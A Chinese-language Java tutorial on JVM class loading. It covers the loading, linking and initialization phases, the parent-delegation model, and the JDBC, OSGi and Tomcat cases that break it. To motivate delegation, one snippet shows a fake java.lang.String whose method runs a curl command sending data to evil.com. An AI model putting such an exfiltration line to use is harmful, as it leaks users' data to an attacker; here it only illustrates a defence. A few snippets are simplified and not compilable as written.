类加载机制：双亲委派模型与三种破坏场景

// ━━━ 阶段一：Loading（加载）━━━
// 通过全限定名获取字节流 → 生成 MethodArea 中的 Class 对象
// 来源：jar 包、war 包、网络、动态生成（CGLIB/ASM）

// ━━━ 阶段二：Linking（链接）━━━
//  ① Verify（验证）—— 字节码格式校验、语义校验、字节码指令校验
//     防止恶意 .class 文件危害 JVM（可用 -Xverify:none 跳过）
//  ② Prepare（准备）—— 为类的静态变量分配内存并设零值
//     static int a = 10; → 此阶段 a = 0（非 10！10 在初始化阶段赋值）
//     static final int b = 10; → 此阶段 b = 10（编译期常量直接赋值）
//  ③ Resolve（解析）—— 符号引用 → 直接引用
//     常量池中的 "java/lang/Object" 字符串 → 方法区的直接内存地址

// ━━━ 阶段三：Initialization（初始化）━━━
// 执行 <clinit>() 方法 —— 编译器收集的 static 赋值语句 + static 块
static {
    System.out.println("初始化阶段才会执行");
    a = 10; // Prepare 阶段 a 是 0，这里才真正赋值
}

// ① Bootstrap ClassLoader（启动类加载器）
//    用 C++ 实现，JVM 的一部分，Java 代码中拿到的是 null
//    加载路径：$JAVA_HOME/jre/lib/rt.jar（JDK 8）或 jrt:/ 模块（JDK 9+）
//    负责：java.lang.*, java.util.*, java.io.* 等核心类

// ② Extension ClassLoader（扩展类加载器）
//    sun.misc.Launcher$ExtClassLoader（JDK 8）
//    jdk.internal.loader.ClassLoaders$PlatformClassLoader（JDK 9+）
//    加载路径：$JAVA_HOME/jre/lib/ext/*.jar
//    负责：加密、国际化等扩展包

// ③ Application ClassLoader（应用类加载器）
//    sun.misc.Launcher$AppClassLoader（JDK 8）
//    jdk.internal.loader.ClassLoaders$AppClassLoader（JDK 9+）
//    加载路径：classpath（-cp 或 CLASSPATH 环境变量指定的路径）
//    负责：我们写的代码和第三方依赖

protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException {

    synchronized (getClassLoadingLock(name)) {
        // ━━━ 第一步：检查是否已经加载过 ━━━
        Class<?> c = findLoadedClass(name);

        if (c == null) {
            long t0 = System.nanoTime();
            try {
                // ━━━ 第二步：委派给父加载器 ━━━
                if (parent != null) {
                    c = parent.loadClass(name, false);
                } else {
                    // parent 为 null → 说明父加载器是 Bootstrap
                    c = findBootstrapClassOrNull(name);
                }
            } catch (ClassNotFoundException e) {
                // 父加载器找不到，吞掉异常，继续往下走
            }

            if (c == null) {
                // ━━━ 第三步：父加载器都找不到，自己找 ━━━
                long t1 = System.nanoTime();
                c = findClass(name);  // ← 自定义类加载器重写的方法

                sun.misc.PerfCounter.getParentDelegationTime()
                    .addTime(t1 - t0);
                sun.misc.PerfCounter.getFindClassTime()
                    .addTime(System.nanoTime() - t1);
                sun.misc.PerfCounter.getFindClasses().increment();
            }
        }

        if (resolve) {
            resolveClass(c);  // 执行 Linking 中的 Resolve 步骤
        }
        return c;
    }
}

package java.lang;

public class String {
    // 自定义的 String，可以加任何恶意逻辑
    public void sendToHacker() {
        Runtime.getRuntime().exec("curl http://evil.com?data=...");
    }
}

// 没有双亲委派时：
// Application ClassLoader 直接加载 classpath 下的 java.lang.String
// 你的程序使用的 String 全是这个恶意版本！

// 有双亲委派时：
// App → Ext → Bootstrap
// Bootstrap 在 rt.jar 中找到 java.lang.String → 返回核心版本
// 恶意 String 永远不会被加载

// 假设 LoaderA 和 LoaderB 各自加载了 com.example.User
Class<?> c1 = loaderA.loadClass("com.example.User");
Class<?> c2 = loaderB.loadClass("com.example.User");

System.out.println(c1 == c2);  // false！两个不同的 Class 对象

Object obj = c1.newInstance();
System.out.println(obj instanceof c2);  // false！
// 明明是同一个类，但来自不同 ClassLoader 的 Class 对象互不兼容

// 双亲委派保证了：同一个类只会被最顶层能加载它的加载器加载一次
// 所有下层加载器拿到的都是同一个 Class 对象

// DriverManager 在 rt.jar 中，由 Bootstrap 加载
// 它需要扫描所有 jar 包里的 META-INF/services/java.sql.Driver 文件
// 然后用 Class.forName() 加载驱动实现类

// 问题：Bootstrap 只认识 rt.jar，它怎么找 classpath 下的 MySQL 驱动？
// 答案：用线程上下文类加载器（Thread Context ClassLoader）

public static Connection getConnection(String url) {
    // DriverManager 内部这样加载驱动：
    ClassLoader contextCL = Thread.currentThread()
                                  .getContextClassLoader();
    // contextCL 默认是 Application ClassLoader
    // → Bootstrap 的代码"借用" Application 的能力去找驱动
    Class<?> driverClass = Class.forName(
        "com.mysql.cj.jdbc.Driver",
        true,
        contextCL  // ← 关键！不用自己（Bootstrap），而用线程上下文
    );
    Driver driver = (Driver) driverClass.newInstance();
    return driver.connect(url, props);
}

// Bundle-A 使用 guava-18.0
// Bundle-B 使用 guava-31.0
// 两个版本的 Guava 同时运行在同一个 JVM 中，互不干扰

// OSGi 的委派规则不再是标准的"先父后子"，而是：
// ① java.* 开头的类 → 委派给 Bootstrap（标准委派）
// ② 在 MANIFEST.MF 中声明的 import 包 → 委派给导出该包的 Bundle
// ③ 其他类 → 自己加载（不委派给父 ClassLoader）

// Bundle-A 的 ClassLoader 加载 guava-18.0 的类
// Bundle-B 的 ClassLoader 加载 guava-31.0 的类
// 由于 ClassLoader 不同，两个版本的类完全隔离

//         Bootstrap ClassLoader
//              │
//         Extension ClassLoader
//              │
//    ┌──── System ClassLoader ────┐
//    │                            │
//  Common ClassLoader         (Tomcat 共享类)
//    │              │
// WebappA-Loader  WebappB-Loader  (每个应用独立)
//    │              │
// /WEB-INF/classes  /WEB-INF/classes
// /WEB-INF/lib/*    /WEB-INF/lib/*

// 关键设计：
// ① WebappLoader 默认优先加载自己 WEB-INF 下的类（子优先！）
// ② 然后才委派给 Common ClassLoader → System → Extension → Bootstrap
// ③ java.* 和 javax.* 等核心类仍然走标准双亲委派

public Class<?> loadClass(String name, boolean resolve) {
    synchronized (getClassLoadingLock(name)) {
        // ① 查缓存
        Class<?> clazz = findLoadedClass(name);
        if (clazz != null) return clazz;

        // ② java.* / javax.* 等 → 标准委派给 Bootstrap/Extension
        if (name.startsWith("java.") || name.startsWith("javax.")) {
            return super.loadClass(name, resolve);  // 走标准双亲委派
        }

        // ③ 先自己找！不等父加载器！
        clazz = findClass(name);  // 搜索 WEB-INF/classes 和 WEB-INF/lib
        if (clazz != null) return clazz;

        // ④ 自己找不到 → 才委派给父加载器（Common ClassLoader）
        return super.loadClass(name, resolve);
    }
}